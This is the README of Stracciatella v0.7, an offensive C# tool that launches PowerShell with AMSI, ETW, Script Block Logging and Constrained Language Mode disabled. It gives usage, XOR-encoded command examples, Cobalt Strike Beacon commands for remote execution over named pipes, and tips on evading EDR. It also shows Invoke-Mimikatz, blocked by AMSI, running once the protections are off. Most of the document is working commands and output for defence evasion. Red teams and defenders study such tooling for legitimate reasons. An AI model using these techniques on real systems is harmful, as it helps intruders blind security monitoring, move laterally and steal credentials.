Stracciatella v0.7

Powershell runspace from within C# (aka `SharpPick` technique) with AMSI, ETW and Script Block Logging disabled for your pleasure.

Nowadays, when Powershell got severly instrumented by use of techniques such as:

- AMSI
- ETW
- Script Block Logging
- Transcript file
- Modules logging
- Constrained Language Mode

Advanced attackers must find ways to circumvent these efforts in order to deliver sophisticated adversarial simulation exercises. In order to help in these efforts, following project was created.

This program builds on top of bypasses for specific techniques included in:

- Disable-Amsi.ps1
- KillETW.ps1 by tandasat
- Disable-ScriptLogging.ps1

Which in turn was based on following researches:

- Matt Graeber: https://github.com/mattifestation/PSReflect
- Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160
- Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
- Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
- Ryan Cobb: https://cobbr.io/ScriptBlock-Logging-Bypass.html
- Ryan Cobb: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html

The SharpPick idea, meaning to launch powershell scripts from within C# assembly by the use of Runspaces is also not new and was firstly implemented by Lee Christensen (@tifkin_) in his:

- UnmanagedPowerShell

Also, the source code borrows implementation of `CustomPSHost` from Lee.

This project inherits from above researches and great security community in order to provide close-to-be-effective Powershell environment with defenses disabled on startup.

Now easily compiles with .NET 4.0 whereas if compiled with .NET Framework 4.7.1+ an additional functionality is included that allows to unload DLLs constituting CLM bypass artefacts and attempts to delete them afterwards (hardly working to be honest).

Best mileage one gets with Stracciatella compiled with .NET 4.0.

OpSec

- This program provides functionality to decode passed parameters on the fly, using Xor single-byte decode
- Before launching any command, it makes sure to disable AMSI using two approaches and ETW
- Before launching any command, it makes sure to disable Script Block logging using two approaches
- This program does not patch any system library, system native code (think amsi.dll)
- Efforts were made to not store decoded script/commands excessively long, in order to protect itself from memory-dumping techniques governed by EDRs and AVs

Usage

There are couple of options available:

```
PS D:\> Stracciatella -h

  :: Stracciatella - Powershell runspace with AMSI, ETW and Script B
  Mariusz Banach / mgeeky, '19-22 <mb@binary-offensive.com>
  v0.7

Usage: stracciatella.exe [options] [command]
  -s <path>, --script <path> - Path to file containing Powershell sc
                               a pseudo-shell loop. This can be also
  -v, --verbose              - Prints verbose informations
  -n, --nocleanup            - Don't remove CLM disable leftovers (D
                               By default these are going to be alwa
  -C, --leaveclm             - Don't attempt to disable CLM. Stealth
  -f, --force                - Proceed with execution even if Powers
                               By default we bail out on failure.
  -c, --command              - Executes the specified commands You c
                               stracciatella parameters: cmd> stracia
                               If command and script parameters were
  -x <key>, --xor <key>      - Consider input as XOR encoded, where
                               (prefix with 0x for hex)
  -p <name>, --pipe <name>   - Read powershell commands from a speci
```

```
                              its length coded in little-endian (Le
  -t <millisecs>, --timeout <millisecs>
                            - Specifies timeout for pipe read opera
  -e, --cmdalsoencoded      - Consider input command (specified in
                              Decodes input command after decoding
                              By default we only decode input file
```

The program accepts command and script file path as it's input. Both are optional, if none were given - pseudo-shell will be started. Both command and script can be further encoded using single-byte XOR (will produce output Base64 encoded) for better OpSec experience.

Here are couple of examples presenting use cases:

1. *Pseudo-shell* - intiatiated when neither command nor script path options were given:

```
PS D:\> Stracciatella.exe -v

  :: Stracciatella - Powershell runspace with AMSI, ETW and Script B
  Mariusz Banach / mgeeky, '19-22 <mb@binary-offensive.com>
  v0.7

[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLan
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.

Stracciatella D:\> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.18362.1
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.18362.1
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1
```

2. *XOR encoded (key = 0x31) command and path to script file*

Firstly, in order to prepare encoded statements we can use bundled `encoder.py` script, that can be used as follows:

```
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>

positional arguments:
  command               Specifies either a command or script file's

optional arguments:
  -h, --help            show this help message and exit
  -x KEY, --xor KEY     Specifies command/file XOR encode key (one b
  -o PATH, --output PATH
                        (optional) Output file. If not given - will

PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a char
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5f
```

Then we feed `encoder.py` output as input being an encoded command for Stracciatella:

```
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkI

  :: Stracciatella - Powershell runspace with AMSI, ETW and Script B
```

```
  Mariusz Banach / mgeeky, '19-22 <mb@binary-offensive.com>
  v0.7

[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage

PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionS
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
```

Whereas:

- `Command` was built of following commands: `Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))`
- `Test2.ps1` - contained: `"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM="(Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))`

Cobalt Strike support

Stracciatella comes with Aggressor script that when loaded exposes `stracciatella` command in the Beacon console. The usage is pretty much similar to `powerpick` (by previously importing powershell scripts via `stracciatella-import`). The input parameter will be xored with a random key and passed over a randomly named Pipe to the Stracciatella's runspace.

Following Cobalt Strike commands are available:

Cobalt Strike command	Description
`stracciatella [-v] <command>`	executes given commands
`stracciatella-remote [-v] <machine> <pipename> <command>`	executes given commands on a remote machine on specified pipe
`stracciatella-import <scriptpath>`	imports a powershell script for use with Stracciatella
`stracciatella-script <scriptpath> <command>`	pre-loads Powershell command with a specified Powershell (ps1) script (combination of `stracciatella-import` and `stracciatella` in single operation)
`stracciatella-clear`	clears imported script on that Beacon
`stracciatella-timeout <milliseconds>`	adjusts default named pipe read timeout
`bofnet_loadstracciatella`	loads Stracciatella.exe into BOF.NET (if one is used)
`bofnet_stracciatella <command>`	(non-blocking) Runs Powershell commands in a safe Stracciatella runspace via BOF.NET `bofnet_jobassembly`
`bofnet_executestracciatella <command>`	(blocking) Runs Powershell commands in a safe Stracciatella runspace via BOF.NET `bofnet_executeassembly`

`bofnet_stracciatella_script <scriptpath> <command>`	Preloads a specified Powershell script and launches given command with parameters (via BOF.NET)

One of the strategies for working with Stracciatella could be to configure a long enough pipe read timeout (1), launch it on a remote machine (2) thus having option for lateral movement over named pipe with a litle help of Stracciatella.

The advantage over `powerpick` is that the Stracciatella does not patch *AMSI.dll* in the way like Powerpick does (*AmsiScanBuffer* patch), thus potentially generating less forensic noise as seen by EDRs looking for in-memory patches. Also, Stracciatella will eventually be able to stabily bypass *Constrained Language Mode* which is currently not possible using `powerpick`.:

```
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes

beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:

Forest                  : contoso.local
DomainControllers       : {dc.contoso.local}
Children                : {us.eu.contoso.local}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : contoso.local
PdcRoleOwner            : dc.eu.contoso.local
RidRoleOwner            : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name                    : eu.contoso.local
```

Finally, Stracciatella may be easily used by some other tools/C2s that don't offer any functionality to evade powershell protections.

Whenever `stracciatella` returns the 2 error (*ERROR_FILE_NOT_FOUND*) that is because Stracciatella timed out while internally awaiting for data to be written to its named pipe.

```
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.c
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c6
```

This can be remediated however by adjusting Straciatella's timeout parameter using:

```
beacon> stracciatella-timeout 600000

beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.c
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:

ComputerName  IPAddress
------------  ---------
dc1.bank.corp 10.10.10.5
```

The associated aggressor script leverages internal Beacon routines to write to a randomly named pipe, that on the other end will be listened upon by Stracciatella's logic. Receiver end will await for inbound data for some period of time (`--timeout` parameter in Stracciatella's options, defaults to 60 seconds) and given there so no data

- will time out and abort gently. Otherwise, received commands will be decoded and executed as usual.

Sometimes we have Powershell scripts that do not expose any function or reflectively load .NET modules that we would like to invoke from a Powershell runtime. To facilitate that use case, the `stracciatella-script <scriptpath> <command` Beacon command can be used. It reads specified powershell script file and appends given `<command>` separated by semicolon to that script.

BOF.NET support

Stracciatella's Aggressor script (CNA) detects whether there is BOF.NET loaded and if so, exposes a command:

`bofnet_loadstracciatella`

That issues `bofnet_load stracciatella.exe`. Additionally, Stracciatella will then run through `bofnet_jobassembly` instead of Cobalt's builtin `execute-assembly`.

That behaviour is adjustable by changing global variable in `stracciatella.cna` script:

```
#
# If there's BOF.NET loaded in Cobalt Strike, prefer `bofnet_jobasse
# This is useful when we want to switch our tactics to running inlin
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
```

How do you disable AMSI & Script Block logging?

By the use of reflection, as discovered by Matt Graeber, but that program's approach was slightly modified. Instead of referring to symbols by their name, like "amsiInitFailed" - we lookup on them by going through every Assembly, Method, Type and Field available to be fetched reflectively. Then we disable AMSI by the manipulation of NonPublic & Static variables in Management.Automation assembly. The same goes for Script Block logging, whereas in this instance some of ideas were based on Ryan Cobb's (@cobbr) researches.

In fact, `Stracciatella` uses the same implementation as covered already in above mentioned `Disable-*.ps1` files of mine.

Also, **we do not attempt to patch amsi.dll**, that's a bit too noisy and may be in near future closely monitored by EDRs/HIPS/AVs. Corrupting integrity of system libraries definitely loses grounds when compared to reflective variables clobbering.

Just show me the `Invoke-Mimikatz`, will you?

Of course, there you go:

```
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your a
    + CategoryInfo          : ParserError: (:) [], ParentContainsErro
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your a
    + CategoryInfo          : ParserError: (:) [], ParentContainsErro
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS D:\> .\Stracciatella.exe -v
```

```
  :: Stracciatella - Powershell runspace with AMSI and Script Block l
  Mariusz Banach / mgeeky, '19-22 <mb@binary-offensive.com>
  v0.7

[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage

Stracciatella D:\> . .\Invoke-Mimikatz.ps1

Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # coffee
    ( (
     ) )
   .______.
   |      |]
   \      /
    `----'

mimikatz(powershell) # exit
Bye!
```

Known-issues, TODO

Currently, the way the Stracciatella provides runspace for powershell commands is not the most stealthiest out there. We basically create a Powershell runspace, which loads up corresponding .NET Assembly. This might be considered as a flag that stracciatella's process is somewhat shady.

- **Currently not able to perform a full cleanup of CLM disabling artefacts: DLL files in-use, left in %TEMP%.**
- Implement rolling XOR with 2,3 and 4 bytes long key.
- Implement more encoding/encryption strategies, especially ones utilising environmental keying
- Add Tab-autocompletion and support for Up/Down arrows (having provided that plaintext commands are not going to be stored in Straciatella's memory)
- Add coloured outputs
- Script Block Logging bypass *may not be effective* against Windows Server 2016 and Windows 10 as reported here

Credits

- Ryan Cobb, @cobbr
- Matt Graeber, @mattifestation
- Adam Chester, @xpn
- Avi Gimpel
- Lee Christensen, @tifkin_

☕ Show Support ☕

This and other projects are outcome of sleepless nights and **plenty of hard work**. If you like what I do and appreciate that I always give back to the community, Consider buying me a coffee *(or better a beer)* just to say thank you! 💪